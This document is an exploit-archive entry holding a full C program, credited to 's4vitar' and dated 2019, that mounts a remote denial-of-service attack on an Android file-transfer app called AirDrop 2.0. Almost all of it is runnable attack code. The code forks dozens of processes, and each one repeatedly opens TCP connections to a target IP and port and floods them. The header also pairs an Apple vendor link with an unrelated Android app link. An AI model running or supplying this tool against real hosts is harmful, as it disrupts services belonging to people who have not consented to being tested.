AirDrop 2.0 Denial Of Service

`#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <stdint.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <signal.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
  
// ************************************************************************  
// * Author: Marcelo VA!zquez (aka s4vitar) *  
// * AirDrop 2.0 Remote Denial of Service (DoS) *  
// ************************************************************************  
  
// Exploit Title: AirDrop 2.0 Remote Denial of Service (DoS)  
// Date: 2019-02-21  
// Exploit Author: Marcelo VA!zquez (aka s4vitar)  
// Vendor Homepage: https://support.apple.com/en-us/HT204144  
// Software Link: https://apkpure.com/airdrop-wifi-file-transfer/com.airdrop.airdroid.shareit.xender.filetransfer  
// Version: <= AirDrop 2.0  
// Tested on: Android  
  
int make_socket(char *host, char *port) {  
struct addrinfo hints, *servinfo, *p;  
int sock, r;  
  
memset(&hints, 0, sizeof(hints));  
hints.ai_family = AF_UNSPEC;  
hints.ai_socktype = SOCK_STREAM;  
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {  
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));  
exit(0);  
}  
for(p = servinfo; p != NULL; p = p->ai_next) {  
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {  
continue;  
}  
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {  
close(sock);  
continue;  
}  
break;  
}  
if(p == NULL) {  
if(servinfo)  
freeaddrinfo(servinfo);  
fprintf(stderr, "No connection could be made\n");  
exit(0);  
}  
if(servinfo)  
freeaddrinfo(servinfo);  
fprintf(stderr, "[Connected -> %s:%s]\n", host, port);  
return sock;  
}  
  
void broke(int s) {  
// Nothing to do  
}  
  
#define CONNECTIONS 8  
#define THREADS 48  
  
void attack(char *host, char *port, int id) {  
int sockets[CONNECTIONS];  
int x, g=1, r;  
for(x=0; x!= CONNECTIONS; x++)  
sockets[x]=0;  
signal(SIGPIPE, &broke);  
while(1) {  
for(x=0; x != CONNECTIONS; x++) {  
if(sockets[x] == 0)  
sockets[x] = make_socket(host, port);  
r=write(sockets[x], "\0", 1);  
if(r == -1) {  
close(sockets[x]);  
sockets[x] = make_socket(host, port);  
}  
}  
usleep(300000);  
}  
}  
  
int main(int argc, char **argv) {  
  
int x;  
  
if (argc < 3) {  
printf("Usage: ./AirDrop_DoS <ip-address> <port>\n");  
exit(-1);  
}  
  
for(x=0; x != THREADS; x++) {  
if(fork())  
attack(argv[1], argv[2], x);  
usleep(200000);  
}  
getc(stdin);  
return 0;  
}  
`